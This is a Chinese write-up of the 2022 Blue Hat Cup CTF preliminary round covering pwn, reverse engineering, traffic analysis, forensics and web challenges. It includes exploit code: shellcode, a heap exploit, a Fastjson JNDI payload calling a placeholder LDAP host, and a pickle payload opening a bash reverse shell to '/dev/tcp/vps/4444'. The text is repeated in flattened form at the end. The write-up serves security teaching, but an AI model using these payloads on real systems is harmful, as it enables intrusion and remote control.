2022蓝帽杯初赛WriteUp
字数 2088 2025-08-06 20:12:33

2022蓝帽杯初赛WriteUp 详细教学文档

0x01 Pwn部分

1.1 EscapeShellcode

技术要点

  • 无栈shellcode编写技术
  • RIP寻址定位内存范围
  • 内存段遍历技术
  • 系统调用(syscall)使用

解题思路

  1. 通过RIP寄存器确定内存范围
  2. 遍历可读内存段寻找flag位置
  3. 使用系统调用输出flag

关键代码分析

shellcode = """
mov edi, 1          # 标准输出文件描述符
lea rsi, [rip-0x300000]  # 通过RIP相对寻址
and rsi, 0xfffffffff0000000  # 内存页对齐
mov edx, 0x30       # 读取长度
L1:
add rsi, 0x1000     # 每次增加一页(4KB)
mov eax, 1          # sys_write系统调用号
syscall
test eax, eax       # 测试返回值
jng L1              # 失败则继续尝试
"""

# 使用pwntools发送shellcode
se(asm(shellcode))

注意事项

  • 需要处理内存页对齐
  • 系统调用后需要检查返回值
  • 使用pwntools的asm函数编译shellcode

1.2 Bank

技术要点

  • 堆布局技术
  • 任意地址读写利用
  • exit_hook利用
  • one_gadget使用

解题步骤

  1. 堆布局泄露堆地址和libc地址
  2. 利用任意free功能释放特定堆块
  3. 重新分配堆块并写入exit_hook地址
  4. 写入one_gadget触发getshell

关键代码分析

# 堆布局
realloc(0xc8)
malloc(p64(0)+p32(0x491))  # 伪造堆块

# 泄露堆地址
read_addr(39+4)
heap_leak = int(ru(' is useful.'),16)
heap_base = heap_leak - 0x10

# 泄露libc地址
read_addr(32)
libc_leak = int(ru(' is useful.'),16)
libc_base = libc_leak - 0x1ebbe0

# 任意写利用
free(heap_base+0x2a0)
malloc(p64(libc_base+0x1ed608))  # 写入exit_hook地址
write(libc_base+0xe6c7e)         # 写入one_gadget

注意事项

  • 需要精确计算堆偏移
  • 注意libc版本差异
  • 确保写入位置可写

0x02 RE部分

2.1 loader

技术要点

  • 动态代码解密分析
  • 大整数运算
  • PELL方程求解

解题步骤

  1. 分析代码重定位过程
  2. 识别flag检查逻辑
  3. 发现flag格式要求:42位(flag{36位})
  4. 将36位分成两组18位数字
  5. 分析数学约束条件:
    • x^2 - 11*y^2 = 9
    • 72057594037927936 < x < 1152921504606846976

PELL方程求解

def solve_pell(N, c, begin, most=10000):
    cf = continued_fraction(sqrt(N))
    for i in range(begin,most):
        denom = cf.denominator(i)
        numer = cf.numerator(i)
        if numer^2 - N * denom^2 == 1:
            x = numer*x1 + N*y1*denom
            y = x1*denom + y1*numer
            if x>72057594037927936 and x<1152921504606846976:
                if x^2 - N*y^2 == c:
                    print(x,y)

最终flag

flag{118936021352508390035860559716724409}

0x03 MISC部分

3.1 domainhacker

技术要点

  • 网络流量分析
  • RAR密码提取
  • 哈希识别

解题步骤

  1. 分析TCP流(tcp.stream eq 13)
  2. 发现RAR压缩命令:
    cd /d "c:\\Windows\\Temp"&rar.exe a -PSecretsPassw0rds 1.rar 1.txt
  3. 从流量中提取RAR文件
  4. 解压获取哈希值:
    • NTLM: 416f89c3a5deb1d398a1a1fce93862a7
    • SHA1: 54896b6f5e60e9be2b46332b13d0e0f110d6518f

0x04 取证部分

4.1-4.3 网站取证

技术要点

  • D盾扫描使用
  • 配置文件分析
  • AES解密
  • 盐值识别

关键发现

  1. 数据库密码加密位置
  2. my_encrypt()函数分析
  3. 发现加密盐值: 'jyzg123456'

4.4-4.7 计算机取证

技术要点

  • PasswareKitForensic使用
  • Volatility内存分析
  • BitLocker恢复
  • Office文档爆破

关键步骤

  1. 扫描Windows用户密码: anxinqi
  2. 识别RAMCapture进程PID: 2192
  3. 获取BitLocker恢复密钥: 368346-029557-428142-651420-492261-552431-515438-338239
  4. Office文档爆破密码: 287fuweiuhfiute

4.8-4.9 手机取证

技术要点

  • 盘古石取证工具使用
  • 文件元数据分析
  • 关键词搜索

关键发现

  1. 图片分辨率: 360x360
  2. 通过"姜总/单号"关键词搜索

4.10-4.12 程序分析

技术要点

  • APK逆向分析
  • 入口点识别
  • Base64解码

关键发现

  1. 包名: exec.azj.kny.d.c
  2. 入口Activity: minmtta.hemjcbm.ahibyws.MainActivity
  3. 服务器地址Base64: aHR0cHM6Ly9hbnNqay5lY3hlaW8ueHl6

0x05 Web部分

5.1 Ez_gadget

技术要点

  • Fastjson反序列化
  • hashCode碰撞
  • Unicode绕过
  • JNDI注入

解题步骤

  1. 构造hashCode相同但值不同的字符串
    chr(ord(key[0]) - 1) + chr(ord(key[1]) + 31) + key[2::]
    
  2. 绕过关键词过滤(rmi/jndi/ldap)使用Unicode编码
  3. 构造Fastjson 1.2.62的利用payload:
    {
      "@type":"org.apache.xbean.propertyeditor.\u004a\u006e\u0064\u0069Converter",
      "AsText":"%0aldap://VPS:port/Evil"
    }
    
  4. 使用JNDIExploit工具反弹shell

5.2 file_session

技术要点

  • Flask session伪造
  • 内存取证
  • UUID提取
  • pickle反序列化

解题步骤

  1. 通过/proc/self/maps和/proc/self/mem读取内存
  2. 正则匹配提取UUID作为SECRET_KEY候选
  3. 构造恶意pickle序列化数据反弹shell
  4. 使用flask_session_cookie_manager伪造session
  5. 逐个尝试候选KEY直到成功反弹shell

关键代码

class test(object):
    def __reduce__(self):
        return (__import__('os').system, ("bash -c 'exec bash -i &>/dev/tcp/vps/4444 <&1'",))

总结

本WriteUp涵盖了2022蓝帽杯初赛的多个技术方向,包括Pwn、RE、MISC、取证和Web。每个题目都涉及特定的技术点和解题思路,通过详细的分析和步骤说明,为安全研究人员提供了宝贵的学习资料。特别值得注意的是其中的高级利用技术如无栈shellcode、PELL方程求解、Fastjson反序列化等,都是CTF比赛和实际渗透测试中的实用技能。

2022蓝帽杯初赛WriteUp 详细教学文档 0x01 Pwn部分 1.1 EscapeShellcode 技术要点 无栈shellcode编写技术 RIP寻址定位内存范围 内存段遍历技术 系统调用(syscall)使用 解题思路 通过RIP寄存器确定内存范围 遍历可读内存段寻找flag位置 使用系统调用输出flag 关键代码分析 注意事项 需要处理内存页对齐 系统调用后需要检查返回值 使用pwntools的asm函数编译shellcode 1.2 Bank 技术要点 堆布局技术 任意地址读写利用 exit_ hook利用 one_ gadget使用 解题步骤 堆布局泄露堆地址和libc地址 利用任意free功能释放特定堆块 重新分配堆块并写入exit_ hook地址 写入one_ gadget触发getshell 关键代码分析 注意事项 需要精确计算堆偏移 注意libc版本差异 确保写入位置可写 0x02 RE部分 2.1 loader 技术要点 动态代码解密分析 大整数运算 PELL方程求解 解题步骤 分析代码重定位过程 识别flag检查逻辑 发现flag格式要求:42位(flag{36位}) 将36位分成两组18位数字 分析数学约束条件: x^2 - 11* y^2 = 9 72057594037927936 < x < 1152921504606846976 PELL方程求解 最终flag flag{118936021352508390035860559716724409} 0x03 MISC部分 3.1 domainhacker 技术要点 网络流量分析 RAR密码提取 哈希识别 解题步骤 分析TCP流(tcp.stream eq 13) 发现RAR压缩命令: cd /d "c:\\Windows\\Temp"&rar.exe a -PSecretsPassw0rds 1.rar 1.txt 从流量中提取RAR文件 解压获取哈希值: NTLM: 416f89c3a5deb1d398a1a1fce93862a7 SHA1: 54896b6f5e60e9be2b46332b13d0e0f110d6518f 0x04 取证部分 4.1-4.3 网站取证 技术要点 D盾扫描使用 配置文件分析 AES解密 盐值识别 关键发现 数据库密码加密位置 my_ encrypt()函数分析 发现加密盐值: 'jyzg123456' 4.4-4.7 计算机取证 技术要点 PasswareKitForensic使用 Volatility内存分析 BitLocker恢复 Office文档爆破 关键步骤 扫描Windows用户密码: anxinqi 识别RAMCapture进程PID: 2192 获取BitLocker恢复密钥: 368346-029557-428142-651420-492261-552431-515438-338239 Office文档爆破密码: 287fuweiuhfiute 4.8-4.9 手机取证 技术要点 盘古石取证工具使用 文件元数据分析 关键词搜索 关键发现 图片分辨率: 360x360 通过"姜总/单号"关键词搜索 4.10-4.12 程序分析 技术要点 APK逆向分析 入口点识别 Base64解码 关键发现 包名: exec.azj.kny.d.c 入口Activity: minmtta.hemjcbm.ahibyws.MainActivity 服务器地址Base64: aHR0cHM6Ly9hbnNqay5lY3hlaW8ueHl6 0x05 Web部分 5.1 Ez_ gadget 技术要点 Fastjson反序列化 hashCode碰撞 Unicode绕过 JNDI注入 解题步骤 构造hashCode相同但值不同的字符串 绕过关键词过滤(rmi/jndi/ldap)使用Unicode编码 构造Fastjson 1.2.62的利用payload: 使用JNDIExploit工具反弹shell 5.2 file_ session 技术要点 Flask session伪造 内存取证 UUID提取 pickle反序列化 解题步骤 通过/proc/self/maps和/proc/self/mem读取内存 正则匹配提取UUID作为SECRET_ KEY候选 构造恶意pickle序列化数据反弹shell 使用flask_ session_ cookie_ manager伪造session 逐个尝试候选KEY直到成功反弹shell 关键代码 总结 本WriteUp涵盖了2022蓝帽杯初赛的多个技术方向,包括Pwn、RE、MISC、取证和Web。每个题目都涉及特定的技术点和解题思路,通过详细的分析和步骤说明,为安全研究人员提供了宝贵的学习资料。特别值得注意的是其中的高级利用技术如无栈shellcode、PELL方程求解、Fastjson反序列化等,都是CTF比赛和实际渗透测试中的实用技能。